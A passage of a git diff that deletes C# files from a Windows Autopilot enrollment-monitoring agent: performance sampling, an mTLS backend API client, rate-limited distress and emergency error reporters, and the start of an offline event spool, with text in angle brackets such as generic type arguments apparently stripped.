(1024.0 * 1024.0), 0); - data["memory_total_mb"] = Math.Round(totalBytes / (1024.0 * 1024.0), 0); - data["memory_used_percent"] = Math.Round((double)loadPercent, 1); - } - else - { - Logger.Debug("GlobalMemoryStatusEx returned no data"); - } - } - catch (Exception ex) - { - Logger.Debug($"Memory query failed: {ex.Message}"); - } - - // Disk queue length - try - { - var diskQueue = _diskQueueCounter?.NextValue() ?? 0; - data["disk_queue_length"] = Math.Round(diskQueue, 1); - } - catch (Exception ex) - { - Logger.Debug($"Disk queue counter read failed: {ex.Message}"); - } - - // Disk free space on system drive - try - { - var systemDrive = Path.GetPathRoot(Environment.SystemDirectory); - var driveInfo = new DriveInfo(systemDrive); - data["disk_free_gb"] = Math.Round(driveInfo.AvailableFreeSpace / (1024.0 * 1024 * 1024), 1); - data["disk_total_gb"] = Math.Round(driveInfo.TotalSize / (1024.0 * 1024 * 1024), 1); - } - catch (Exception ex) - { - Logger.Debug($"Disk space query failed: {ex.Message}"); - } - - // Network throughput (bytes sent/received delta + rate) - try - { - if (_networkInitialized) - { - // Re-find the NIC by cached ID - NetworkInterface currentNic = null; - try - { - foreach (var nic in NetworkInterface.GetAllNetworkInterfaces()) - { - if (nic.Id == _activeNicId) - { - currentNic = nic; - break; - } - } - } - catch { /* swallow */ } - - // If cached NIC is gone, try to find a new active one - if (currentNic == null || currentNic.OperationalStatus != OperationalStatus.Up) - { - currentNic = FindActiveNetworkInterface(); - if (currentNic != null) - { - _activeNicId = currentNic.Id; - _activeNicName = currentNic.Description; - var freshStats = currentNic.GetIPStatistics(); - _prevBytesSent = freshStats.BytesSent; - _prevBytesReceived = freshStats.BytesReceived; - _prevNetSampleTime = DateTime.UtcNow; - Logger.Debug($"Network throughput tracking switched to: {_activeNicName}"); - } - else - { - _networkInitialized = false; - Logger.Debug("Active network interface lost, throughput tracking paused"); - } - } - - if (currentNic != null && currentNic.OperationalStatus == OperationalStatus.Up) - { - var stats = currentNic.GetIPStatistics(); - var now = DateTime.UtcNow; - var elapsedSeconds = (now - _prevNetSampleTime).TotalSeconds; - - if (elapsedSeconds > 0) - { - var deltaSent = stats.BytesSent - _prevBytesSent; - var deltaReceived = stats.BytesReceived - _prevBytesReceived; - - // Guard against counter reset (adapter reconnect) - if (deltaSent < 0) deltaSent = 0; - if (deltaReceived < 0) deltaReceived = 0; - - data["net_adapter"] = _activeNicName; - data["net_bytes_sent_delta"] = deltaSent; - data["net_bytes_received_delta"] = deltaReceived; - data["net_send_rate_kbps"] = Math.Round(deltaSent * 8.0 / 1000.0 / elapsedSeconds, 1); - data["net_receive_rate_kbps"] = Math.Round(deltaReceived * 8.0 / 1000.0 / elapsedSeconds, 1); - } - - _prevBytesSent = stats.BytesSent; - _prevBytesReceived = stats.BytesReceived; - _prevNetSampleTime = now; - } - } - else - { - // Try to re-initialize (e.g., network came up after boot) - var activeNic = FindActiveNetworkInterface(); - if (activeNic != null) - { - _activeNicId = activeNic.Id; - _activeNicName = activeNic.Description; - var stats = activeNic.GetIPStatistics(); - _prevBytesSent = stats.BytesSent; - _prevBytesReceived = stats.BytesReceived; - _prevNetSampleTime = DateTime.UtcNow; - _networkInitialized = true; - Logger.Debug($"Network throughput tracking re-initialized on: {_activeNicName}"); - } - } - } - catch (Exception ex) - { - Logger.Debug($"Network throughput collection failed: {ex.Message}"); - } - - if (data.Count > 0) - { - EmitEvent(new EnrollmentEvent - { - SessionId = SessionId, - TenantId = TenantId, - Timestamp = DateTime.UtcNow, - EventType = "performance_snapshot", - Severity = EventSeverity.Debug, - Source = "PerformanceCollector", - Phase = EnrollmentPhase.Unknown, - Message = $"CPU: {(data.ContainsKey("cpu_percent") ? data["cpu_percent"] : "?")}%, " + - $"Memory: {(data.ContainsKey("memory_used_percent") ? data["memory_used_percent"] : "?")}%, " + - $"Disk Free: {(data.ContainsKey("disk_free_gb") ? data["disk_free_gb"] : "?")} GB" + - (data.ContainsKey("net_receive_rate_kbps") - ? $", Net: \u2193{data["net_receive_rate_kbps"]} / \u2191{data["net_send_rate_kbps"]} kbps" - : ""), - Data = data - }); - } - } - - /// - /// Finds the active network interface: Up, not Loopback/Tunnel, has a non-0.0.0.0 gateway. - /// - private static NetworkInterface FindActiveNetworkInterface() - { - try - { - var interfaces = NetworkInterface.GetAllNetworkInterfaces(); - foreach (var nic in interfaces) - { - if (nic.OperationalStatus != OperationalStatus.Up) - continue; - if (nic.NetworkInterfaceType == NetworkInterfaceType.Loopback || - nic.NetworkInterfaceType == NetworkInterfaceType.Tunnel) - continue; - - var ipProps = nic.GetIPProperties(); - foreach (var gw in ipProps.GatewayAddresses) - { - if (gw.Address.ToString() != "0.0.0.0") - return nic; - } - } - } - catch - { - // Caller handles null - } - return null; - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Transport/BackendApiClient.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Transport/BackendApiClient.cs deleted file mode 100644 index 689f21d4..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Transport/BackendApiClient.cs +++ /dev/null @@ -1,499 +0,0 @@ -using System; -using System.Diagnostics; -using System.IO; -using System.IO.Compression; -using System.Linq; -using System.Net.Http; -using System.Security.Cryptography.X509Certificates; -using System.Text; -using System.Threading; -using System.Threading.Tasks; -using AutopilotMonitor.Agent.Core.Configuration; -using AutopilotMonitor.Agent.Core.Security; -using AutopilotMonitor.Shared; -using AutopilotMonitor.Shared.Models; -using Newtonsoft.Json; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Transport -{ - /// - /// Client for communicating with the backend API - /// - public class BackendApiClient : IDisposable - { - private readonly HttpClient _httpClient; - private readonly string _baseUrl; - private readonly X509Certificate2 _clientCertificate; - private readonly string _manufacturer; - private readonly string _model; - private readonly string _serialNumber; - private readonly Logging.AgentLogger _logger; - private readonly NetworkMetrics _networkMetrics = new NetworkMetrics(); - private readonly string _bootstrapToken; - private readonly bool _useBootstrapTokenAuth; - private readonly string _agentVersion; - - /// - /// Exposes the network metrics counters for AgentSelfMetricsCollector to read. - /// - public NetworkMetrics NetworkMetrics => _networkMetrics; - - /// - /// The MDM client certificate loaded at construction time, or null if not found. - /// Used by DistressReporter to detect cert-missing scenarios. - /// - public X509Certificate2 ClientCertificate => _clientCertificate; - - /// - /// Protected constructor for testability (Moq proxy creation). - /// - protected BackendApiClient() { } - - public BackendApiClient(string baseUrl, AgentConfiguration configuration = null, Logging.AgentLogger logger = null, string agentVersion = null) - { - _baseUrl = baseUrl.TrimEnd('/'); - _logger = logger; - _bootstrapToken = configuration?.BootstrapToken; - _useBootstrapTokenAuth = configuration?.UseBootstrapTokenAuth ?? false; - _agentVersion = agentVersion; - - // Find MDM certificate for client authentication if enabled - if (configuration?.UseClientCertAuth == true) - { - logger?.Debug("Client certificate authentication enabled - searching for certificate..."); - - _clientCertificate = CertificateHelper.FindMdmCertificate( - logger: logger - ); - - if (_clientCertificate != null) - { - logger?.Info($"Client certificate loaded successfully"); - logger?.Debug($" Thumbprint: {_clientCertificate.Thumbprint}"); - logger?.Debug($" Subject: {_clientCertificate.Subject}"); - logger?.Debug($" Issuer: {_clientCertificate.Issuer}"); - logger?.Debug($" Valid: {_clientCertificate.NotBefore:yyyy-MM-dd} to {_clientCertificate.NotAfter:yyyy-MM-dd}"); - } - else - { - logger?.Warning("Client certificate authentication enabled but no certificate found"); - logger?.Warning(" Request will be sent WITHOUT certificate (will likely fail security validation)"); - } - } - else - { - logger?.Debug("Client certificate authentication disabled"); - } - - // Get hardware information for whitelist validation and Autopilot device verification - var hardwareInfo = HardwareInfo.GetHardwareInfo(logger); - _manufacturer = hardwareInfo.Manufacturer; - _model = hardwareInfo.Model; - _serialNumber = hardwareInfo.SerialNumber; - - // Use HttpClientHandler with client certificate for TLS-level mTLS negotiation. - // Azure App Service extracts the cert from the TLS handshake and forwards it - // in the X-ARR-ClientCert header to the backend function. - var handler = new HttpClientHandler(); - // AutomaticDecompression sends Accept-Encoding and transparently decompresses - // gzip/deflate responses. Bandwidth-sensitive links benefit a lot on JSON-heavy - // endpoints like GetAgentConfig. - if (handler.SupportsAutomaticDecompression) - { - handler.AutomaticDecompression = System.Net.DecompressionMethods.GZip | System.Net.DecompressionMethods.Deflate; - } - if (_clientCertificate != null) - { - handler.ClientCertificates.Add(_clientCertificate); - logger?.Info("Client certificate attached to TLS handler for mTLS negotiation"); - } - - _httpClient = new HttpClient(handler) - { - Timeout = TimeSpan.FromSeconds(30) - }; - - // Set User-Agent for firewall allowlisting and server-side logging - var ua = string.IsNullOrEmpty(_agentVersion) - ? "AutopilotMonitor.Agent" - : $"AutopilotMonitor.Agent/{_agentVersion}"; - _httpClient.DefaultRequestHeaders.UserAgent.ParseAdd(ua); - } - - /// - /// Registers a new enrollment session - /// - public async Task RegisterSessionAsync(SessionRegistration registration) - { - var request = new RegisterSessionRequest { Registration = registration }; - var endpoint = _useBootstrapTokenAuth - ? Constants.ApiEndpoints.BootstrapRegisterSession - : Constants.ApiEndpoints.RegisterSession; - var url = $"{_baseUrl}{endpoint}"; - - var response = await PostAsync(url, request); - return response; - } - - /// - /// Ingests a batch of events using NDJSON + gzip compression for bandwidth optimization - /// - public virtual async Task IngestEventsAsync(IngestEventsRequest request) - { - var ingestEndpoint = _useBootstrapTokenAuth - ? Constants.ApiEndpoints.BootstrapIngestEvents - : Constants.ApiEndpoints.IngestEvents; - var url = $"{_baseUrl}{ingestEndpoint}"; - - // Use NDJSON (newline-delimited JSON) + gzip for efficient event upload - // This reduces bandwidth significantly (70-80% compression typical for JSON) - var ndjson = CreateNdjson(request); - var ndjsonLength = System.Text.Encoding.UTF8.GetByteCount(ndjson); - var compressedContent = CompressWithGzip(ndjson); - - _logger?.Debug($"IngestEventsAsync: POST {url} — {request.Events.Count} events, {compressedContent.Length} bytes compressed"); - _logger?.Verbose($"IngestEventsAsync: NDJSON {ndjsonLength} bytes → gzip {compressedContent.Length} bytes ({(ndjsonLength > 0 ? (100 - compressedContent.Length * 100 / ndjsonLength) : 0)}% reduction)"); - - using (var httpRequest = new HttpRequestMessage(HttpMethod.Post, url) - { - Content = new ByteArrayContent(compressedContent) - }) - { - httpRequest.Content.Headers.ContentType = new System.Net.Http.Headers.MediaTypeHeaderValue("application/x-ndjson"); - httpRequest.Content.Headers.Add("Content-Encoding", "gzip"); - - // Add TenantId header so the backend can run security checks before parsing the body - httpRequest.Headers.Add("X-Tenant-Id", request.TenantId); - - // Add additional security headers for device authorization (client cert is at TLS layer, but we can add hardware info in headers for whitelist validation and Autopilot device verification) - AddSecurityHeaders(httpRequest); - - var sw = Stopwatch.StartNew(); - var failed = false; - long bytesDown = 0; - try - { - using (var httpResponse = await _httpClient.SendAsync(httpRequest)) - { - ThrowOnAuthFailure(httpResponse); - httpResponse.EnsureSuccessStatusCode(); - - var responseJson = await httpResponse.Content.ReadAsStringAsync(); - bytesDown = Encoding.UTF8.GetByteCount(responseJson); - var response = JsonConvert.DeserializeObject(responseJson); - - return response; - } - } - catch - { - failed = true; - throw; - } - finally - { - sw.Stop(); - _networkMetrics.RecordRequest(compressedContent.Length, bytesDown, sw.ElapsedMilliseconds, failed); - } - } - } - - /// - /// Fetches the agent configuration (collector toggles + gather rules) from the backend - /// - public async Task GetAgentConfigAsync(string tenantId) - { - var configEndpoint = _useBootstrapTokenAuth - ? Constants.ApiEndpoints.BootstrapGetAgentConfig - : Constants.ApiEndpoints.GetAgentConfig; - var url = $"{_baseUrl}{configEndpoint}?tenantId={Uri.EscapeDataString(tenantId)}"; - - // Retry on 503 (backend signals transient device validation failure) - const int maxAttempts = 3; - const int maxRetryAfterSeconds = 120; // Cap Retry-After to prevent indefinite blocking - for (int attempt = 1; attempt <= maxAttempts; attempt++) - { - using (var httpRequest = new HttpRequestMessage(HttpMethod.Get, url)) - { - AddSecurityHeaders(httpRequest); - - _logger?.Debug($"GetAgentConfigAsync: GET {url} (attempt {attempt}/{maxAttempts})"); - - var sw = Stopwatch.StartNew(); - var failed = false; - long bytesDown = 0; - try - { - using (var response = await _httpClient.SendAsync(httpRequest)) - { - if (response.StatusCode == System.Net.HttpStatusCode.ServiceUnavailable && attempt < maxAttempts) - { - // Backend says "try again" — parse Retry-After or default to 30s - var retryAfterSeconds = 30; - if (response.Headers.TryGetValues("Retry-After", out var retryValues) && - int.TryParse(System.Linq.Enumerable.FirstOrDefault(retryValues), out var parsedRetry)) - { - retryAfterSeconds = Math.Min(parsedRetry, maxRetryAfterSeconds); - } - - _logger?.Warning($"GetAgentConfigAsync: 503 Service Unavailable (attempt {attempt}/{maxAttempts}). Retrying in {retryAfterSeconds}s..."); - sw.Stop(); - _networkMetrics.RecordRequest(0, 0, sw.ElapsedMilliseconds, true); - await System.Threading.Tasks.Task.Delay(retryAfterSeconds * 1000); - continue; - } - - ThrowOnAuthFailure(response); - response.EnsureSuccessStatusCode(); - - var responseJson = await response.Content.ReadAsStringAsync(); - bytesDown = Encoding.UTF8.GetByteCount(responseJson); - var result = JsonConvert.DeserializeObject(responseJson); - return result; - } - } - catch - { - failed = true; - throw; - } - finally - { - sw.Stop(); - _networkMetrics.RecordRequest(0, bytesDown, sw.ElapsedMilliseconds, failed); - } - } - } - - // Final 503 after all retries — throw so caller falls back to cached/default config - throw new Exception("GetAgentConfigAsync: backend returned 503 after all retry attempts"); - } - - /// - /// Requests a short-lived SAS URL for diagnostics package upload. - /// Called just before upload so the URL is never stored in config or on disk. - /// Returns null if the request fails (non-fatal — diagnostics upload is best-effort). - /// - public async Task GetDiagnosticsUploadUrlAsync( - string tenantId, string sessionId, string fileName) - { - var url = $"{_baseUrl}{Constants.ApiEndpoints.GetDiagnosticsUploadUrl}"; - var request = new GetDiagnosticsUploadUrlRequest - { - TenantId = tenantId, - SessionId = sessionId, - FileName = fileName - }; - var response = await PostAsync(url, request); - return response; - } - - /// - /// Sends a critical error report to the emergency channel endpoint. - /// Fire-and-forget: swallows all exceptions so a failure here never cascades. - /// Uses a 5-second per-request timeout so it cannot block the upload loop. - /// - public async Task ReportAgentErrorAsync(AgentErrorReport report) - { - try - { - var errorEndpoint = _useBootstrapTokenAuth - ? Constants.ApiEndpoints.BootstrapReportError - : Constants.ApiEndpoints.ReportAgentError; - var url = $"{_baseUrl}{errorEndpoint}"; - var json = JsonConvert.SerializeObject(report); - - using (var httpRequest = new HttpRequestMessage(HttpMethod.Post, url) - { - Content = new StringContent(json, Encoding.UTF8, "application/json") - }) - { - // Security validation on the backend requires tenant ID before parsing the body - httpRequest.Headers.Add("X-Tenant-Id", report.TenantId); - - // Hardware headers are required for full security validation - AddSecurityHeaders(httpRequest); - - using (var cts = new CancellationTokenSource(TimeSpan.FromSeconds(5))) - using (var response = await _httpClient.SendAsync(httpRequest, cts.Token)) - { - // Response status is deliberately ignored — endpoint always returns 200 - } - } - } - catch (Exception ex) - { - // Swallow all exceptions — the emergency channel must never cascade failures - _logger?.Debug($"ReportAgentErrorAsync: emergency channel failed: {ex.Message}"); - } - } - - private async Task PostAsync(string url, TRequest data) - { - var json = JsonConvert.SerializeObject(data); - var bytesUp = Encoding.UTF8.GetByteCount(json); - - using (var httpRequest = new HttpRequestMessage(HttpMethod.Post, url) - { - Content = new StringContent(json, Encoding.UTF8, "application/json") - }) - { - // Add additional security headers for device authorization (client cert is at TLS layer, but we can add hardware info in headers for whitelist validation and Autopilot device verification) - AddSecurityHeaders(httpRequest); - - var sw = Stopwatch.StartNew(); - var failed = false; - long bytesDown = 0; - try - { - using (var response = await _httpClient.SendAsync(httpRequest)) - { - ThrowOnAuthFailure(response); - response.EnsureSuccessStatusCode(); - - var responseJson = await response.Content.ReadAsStringAsync(); - bytesDown = Encoding.UTF8.GetByteCount(responseJson); - var result = JsonConvert.DeserializeObject(responseJson); - - return result; - } - } - catch - { - failed = true; - throw; - } - finally - { - sw.Stop(); - _networkMetrics.RecordRequest(bytesUp, bytesDown, sw.ElapsedMilliseconds, failed); - } - } - } - - /// - /// Throws BackendAuthException for 401/403 responses so callers can distinguish - /// authentication failures from transient server errors. - /// - private static void ThrowOnAuthFailure(HttpResponseMessage response) - { - if (response.StatusCode == System.Net.HttpStatusCode.Unauthorized || - response.StatusCode == System.Net.HttpStatusCode.Forbidden) - { - throw new BackendAuthException( - $"Backend returned {(int)response.StatusCode} {response.StatusCode}. " + - "The device is not authorized. Check client certificate and Autopilot device validation.", - (int)response.StatusCode); - } - } - - /// - /// Creates NDJSON (newline-delimited JSON) from IngestEventsRequest - /// Format: metadata line + one event per line - /// - private string CreateNdjson(IngestEventsRequest request) - { - var lines = new System.Collections.Generic.List(); - - // First line: metadata (sessionId, tenantId) - var metadata = new - { - sessionId = request.SessionId, - tenantId = request.TenantId - }; - lines.Add(JsonConvert.SerializeObject(metadata)); - - // Subsequent lines: one event per line - foreach (var evt in request.Events) - { - lines.Add(JsonConvert.SerializeObject(evt)); - } - - return string.Join("\n", lines); - } - - /// - /// Compresses a string using gzip - /// - private byte[] CompressWithGzip(string text) - { - var bytes = Encoding.UTF8.GetBytes(text); - - using (var output = new MemoryStream()) - { - using (var gzip = new GZipStream(output, CompressionMode.Compress)) - { - gzip.Write(bytes, 0, bytes.Length); - } - return output.ToArray(); - } - } - - /// - /// Adds additional security headers for device authorization. - /// Client certificate is sent at TLS layer via HttpClientHandler.ClientCertificates. - /// - private void AddSecurityHeaders(HttpRequestMessage request) - { - _logger?.Trace("Adding security headers to request..."); - - // Bootstrap token auth (pre-MDM, OOBE bootstrapped agents) - if (_useBootstrapTokenAuth && !string.IsNullOrEmpty(_bootstrapToken)) - { - request.Headers.Add("X-Bootstrap-Token", _bootstrapToken); - _logger?.Trace(" X-Bootstrap-Token: [set]"); - } - - // Client certificate is sent at TLS layer via HttpClientHandler.ClientCertificates (mTLS) - - // Add hardware information for whitelist validation - if (!string.IsNullOrEmpty(_manufacturer)) - { - request.Headers.Add("X-Device-Manufacturer", _manufacturer); - _logger?.Trace($" X-Device-Manufacturer: {_manufacturer}"); - } - - if (!string.IsNullOrEmpty(_model)) - { - request.Headers.Add("X-Device-Model", _model); - _logger?.Trace($" X-Device-Model: {_model}"); - } - - // Add serial number for Autopilot device validation against Intune registration - if (!string.IsNullOrEmpty(_serialNumber)) - { - request.Headers.Add("X-Device-SerialNumber", _serialNumber); - _logger?.Trace($" X-Device-SerialNumber: {_serialNumber}"); - } - - // Add agent version for version-based block/kill management - if (!string.IsNullOrEmpty(_agentVersion)) - { - request.Headers.Add("X-Agent-Version", _agentVersion); - _logger?.Trace($" X-Agent-Version: {_agentVersion}"); - } - } - - public void Dispose() - { - _httpClient?.Dispose(); - } - } - - /// - /// Thrown when the backend returns 401 or 403, indicating the device is not authorized. - /// - public class BackendAuthException : Exception - { - /// - /// HTTP status code returned by the backend (401 or 403). - /// Used by the DistressReporter to classify the failure type. - /// - public int StatusCode { get; } - - public BackendAuthException(string message, int statusCode = 0) : base(message) - { - StatusCode = statusCode; - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Transport/DistressReporter.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Transport/DistressReporter.cs deleted file mode 100644 index e0c4e2cf..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Transport/DistressReporter.cs +++ /dev/null @@ -1,174 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Net.Http; -using System.Text; -using System.Threading; -using System.Threading.Tasks; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Shared; -using AutopilotMonitor.Shared.Models; -using Newtonsoft.Json; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Transport -{ - /// - /// Sends pre-auth distress signals to the backend when the authenticated error channel - /// is unreachable (cert missing, hardware blocked, device not registered, etc.). - /// - /// Uses its own plain HttpClient (no client certificate, no BackendApiClient dependency) - /// so it works even when BackendApiClient cannot be constructed. - /// - /// Anti-flood guarantees (per session): - /// - Same error key (ErrorType + HTTP status code) is only ever sent once per session - /// - At most distress reports total per session - /// - At most one report every minutes - /// - /// A failure in this reporter is silently swallowed — it must never cascade into the main loop. - /// - public class DistressReporter : IDisposable - { - private const int MaxReportsPerSession = 3; - private const int MinIntervalMinutes = 30; - - private readonly HttpClient _httpClient; - private readonly string _distressUrl; - private readonly string _tenantId; - private readonly string _manufacturer; - private readonly string _model; - private readonly string _serialNumber; - private readonly string _agentVersion; - private readonly AgentLogger _logger; - - private readonly HashSet _reportedKeys = new HashSet(); - private readonly object _antiFloodLock = new object(); - private DateTime? _lastReportTime; - private int _reportCount; - - public DistressReporter( - string baseUrl, - string tenantId, - string manufacturer, - string model, - string serialNumber, - string agentVersion, - AgentLogger logger) - { - _tenantId = tenantId; - _manufacturer = manufacturer; - _model = model; - _serialNumber = serialNumber; - _agentVersion = agentVersion; - _logger = logger; - - var cleanBaseUrl = baseUrl?.TrimEnd('/') ?? Constants.ApiBaseUrl; - _distressUrl = $"{cleanBaseUrl}{Constants.ApiEndpoints.ReportDistress}"; - - // Plain HttpClient — no client cert, no mTLS. - // Deliberately isolated from BackendApiClient. - _httpClient = new HttpClient - { - Timeout = TimeSpan.FromSeconds(5) - }; - - var ua = string.IsNullOrEmpty(agentVersion) - ? "AutopilotMonitor.Agent" - : $"AutopilotMonitor.Agent/{agentVersion}"; - _httpClient.DefaultRequestHeaders.UserAgent.ParseAdd(ua); - } - - /// - /// Attempts to send a distress report. Returns immediately without awaiting - /// (intended to be called as fire-and-forget via _ = reporter.TrySendAsync(...)). - /// - /// All anti-flood checks are applied synchronously before the async HTTP call, - /// so repeated calls are cheap when suppressed. - /// - public virtual async Task TrySendAsync( - DistressErrorType errorType, - string message, - int? httpStatusCode = null) - { - var key = $"{errorType}:{httpStatusCode}"; - int currentReportCount; - - lock (_antiFloodLock) - { - if (_reportCount >= MaxReportsPerSession) - { - _logger?.Debug($"[DistressChannel] Suppressed ({_reportCount}/{MaxReportsPerSession} reports used): {key}"); - return; - } - - if (_reportedKeys.Contains(key)) - { - _logger?.Debug($"[DistressChannel] Suppressed (already reported): {key}"); - return; - } - - if (_lastReportTime != null && - (DateTime.UtcNow - _lastReportTime.Value).TotalMinutes < MinIntervalMinutes) - { - _logger?.Debug($"[DistressChannel] Suppressed (cooldown active, last report at {_lastReportTime.Value:HH:mm:ss}): {key}"); - return; - } - - _reportedKeys.Add(key); - _reportCount++; - _lastReportTime = DateTime.UtcNow; - currentReportCount = _reportCount; - } - - var statusText = httpStatusCode.HasValue ? $" HTTP {httpStatusCode}" : string.Empty; - _logger?.Warning($"[DistressChannel] Sending report {currentReportCount}/{MaxReportsPerSession}: {errorType}{statusText}"); - - var report = new DistressReport - { - TenantId = _tenantId, - ErrorType = errorType, - Manufacturer = _manufacturer, - Model = _model, - SerialNumber = _serialNumber, - AgentVersion = _agentVersion, - HttpStatusCode = httpStatusCode, - Message = Truncate(message, 256), - Timestamp = DateTime.UtcNow - }; - - try - { - var json = JsonConvert.SerializeObject(report); - - using (var httpRequest = new HttpRequestMessage(HttpMethod.Post, _distressUrl) - { - Content = new StringContent(json, Encoding.UTF8, "application/json") - }) - { - // Only header needed: TenantId for the backend's first gate - httpRequest.Headers.Add("X-Tenant-Id", _tenantId); - - using (var cts = new CancellationTokenSource(TimeSpan.FromSeconds(5))) - using (var response = await _httpClient.SendAsync(httpRequest, cts.Token)) - { - // Response status is deliberately ignored — endpoint always returns 200 - } - } - } - catch (Exception ex) - { - // Swallow — distress channel must never cascade failures into the caller - _logger?.Debug($"[DistressChannel] Failed to send report: {ex.Message}"); - } - } - - private static string Truncate(string value, int maxLength) - { - if (string.IsNullOrEmpty(value)) return value; - return value.Length <= maxLength ? value : value.Substring(0, maxLength); - } - - public void Dispose() - { - _httpClient?.Dispose(); - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Transport/EmergencyReporter.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Transport/EmergencyReporter.cs deleted file mode 100644 index 7c317ce2..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Transport/EmergencyReporter.cs +++ /dev/null @@ -1,127 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Threading.Tasks; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Shared.Models; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Transport -{ - /// - /// Sends critical agent-side errors to the backend emergency channel endpoint. - /// - /// Anti-flood guarantees (per session): - /// - Only fires after consecutive upload failures - /// - Same error key (ErrorType + HTTP status code) is only ever sent once per session - /// - At most emergency reports total per session - /// - At most one report every minutes regardless of error type - /// - /// A failure in this reporter is silently swallowed — it must never cascade into the main loop. - /// - public class EmergencyReporter - { - /// - /// Number of consecutive upload failures required before the first emergency report is sent. - /// - public const int ConsecutiveFailureThreshold = 3; - - private const int MaxReportsPerSession = 5; - private const int MinIntervalMinutes = 10; - - private readonly BackendApiClient _apiClient; - private readonly string _sessionId; - private readonly string _tenantId; - private readonly string _agentVersion; - private readonly AgentLogger _logger; - - private readonly HashSet _reportedKeys = new HashSet(); - private readonly object _antiFloodLock = new object(); - private DateTime? _lastReportTime; - private int _reportCount; - - public EmergencyReporter( - BackendApiClient apiClient, - string sessionId, - string tenantId, - string agentVersion, - AgentLogger logger) - { - _apiClient = apiClient; - _sessionId = sessionId; - _tenantId = tenantId; - _agentVersion = agentVersion; - _logger = logger; - } - - /// - /// Attempts to send an emergency report. Returns immediately without awaiting - /// (intended to be called as fire-and-forget via _ = reporter.TrySendAsync(...)). - /// - /// All anti-flood checks are applied synchronously before the async HTTP call, - /// so repeated calls are cheap when suppressed. - /// - public virtual async Task TrySendAsync( - AgentErrorType errorType, - string message, - int? httpStatusCode = null, - long? sequenceNumber = null) - { - // Deduplicate by error type + status code: same failure category sent only once per session. - // All anti-flood checks are protected by a lock to prevent race conditions when - // TrySendAsync is called concurrently (fire-and-forget from multiple threads). - var key = $"{errorType}:{httpStatusCode}"; - int currentReportCount; - - lock (_antiFloodLock) - { - if (_reportCount >= MaxReportsPerSession) - { - _logger?.Debug($"[EmergencyChannel] Suppressed ({_reportCount}/{MaxReportsPerSession} reports used): {key}"); - return; - } - - if (_reportedKeys.Contains(key)) - { - _logger?.Debug($"[EmergencyChannel] Suppressed (already reported): {key}"); - return; - } - - if (_lastReportTime != null && - (DateTime.UtcNow - _lastReportTime.Value).TotalMinutes < MinIntervalMinutes) - { - _logger?.Debug($"[EmergencyChannel] Suppressed (cooldown active, last report at {_lastReportTime.Value:HH:mm:ss}): {key}"); - return; - } - - _reportedKeys.Add(key); - _reportCount++; - _lastReportTime = DateTime.UtcNow; - currentReportCount = _reportCount; - } - - var statusText = httpStatusCode.HasValue ? $" HTTP {httpStatusCode}" : string.Empty; - _logger?.Warning($"[EmergencyChannel] Sending report {currentReportCount}/{MaxReportsPerSession}: {errorType}{statusText}"); - - var report = new AgentErrorReport - { - SessionId = _sessionId, - TenantId = _tenantId, - ErrorType = errorType, - Message = message, - HttpStatusCode = httpStatusCode, - SequenceNumber = sequenceNumber, - AgentVersion = _agentVersion, - Timestamp = DateTime.UtcNow - }; - - try - { - await _apiClient.ReportAgentErrorAsync(report); - } - catch (Exception ex) - { - // Swallow — emergency channel must never cascade failures into the caller - _logger?.Debug($"[EmergencyChannel] Failed to send report: {ex.Message}"); - } - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Transport/EventSpool.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Transport/EventSpool.cs deleted file mode 100644 index 4fb0e609..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Transport/EventSpool.cs +++ /dev/null @@ -1,232 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using AutopilotMonitor.Shared.Models; -using Newtonsoft.Json; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Transport -{ - /// - /// Manages offline event storage (spool) for resilient uploads - /// - public class EventSpool : IDisposable - { - private readonly string _spoolDirectory; - private readonly object _lockObject = new object(); - private readonly FileSystemWatcher _fileWatcher; - - /// - /// Event raised when new events are added to the spool - /// - public event EventHandler EventsAvailable; - - /// - /// Protected constructor for testability (Moq proxy creation). - /// - protected EventSpool() { } - - public EventSpool(string spoolDirectory) - { - _spoolDirectory = spoolDirectory; - - if (!Directory.Exists(_spoolDirectory)) - { - Directory.CreateDirectory(_spoolDirectory); - } - - // Initialize FileSystemWatcher for efficient event detection - _fileWatcher = new FileSystemWatcher(_spoolDirectory) - { - Filter = "event_*.json", - NotifyFilter = NotifyFilters.FileName | NotifyFilters.CreationTime, - EnableRaisingEvents = false // Will be enabled when service starts - }; - - _fileWatcher.Created += OnFileCreated; - } - - /// - /// Starts watching for new events - /// - public void StartWatching() - { - _fileWatcher.EnableRaisingEvents = true; - } - - /// - /// Stops watching for new events - /// - public virtual void StopWatching() - { - _fileWatcher.EnableRaisingEvents = false; - } - - private void OnFileCreated(object sender, FileSystemEventArgs e) - { - // Raise event to trigger immediate upload - EventsAvailable?.Invoke(this, EventArgs.Empty); - } - - /// - /// Adds an event to the spool - /// - public void Add(EnrollmentEvent evt) - { - lock (_lockObject) - { - var fileName = $"event_{evt.Timestamp:yyyyMMddHHmmssfff}_{evt.Sequence}.json"; - var filePath = Path.Combine(_spoolDirectory, fileName); - - var json = JsonConvert.SerializeObject(evt, Formatting.None); - File.WriteAllText(filePath, json); - } - } - - /// - /// Gets a batch of events from the spool (oldest first, sorted by sequence) - /// - public virtual List GetBatch(int maxBatchSize) - { - lock (_lockObject) - { - var events = new List(); - var files = Directory.GetFiles(_spoolDirectory, "event_*.json") - .Select(f => new { Path = f, Sequence = ExtractSequenceFromFilename(f) }) - .OrderBy(x 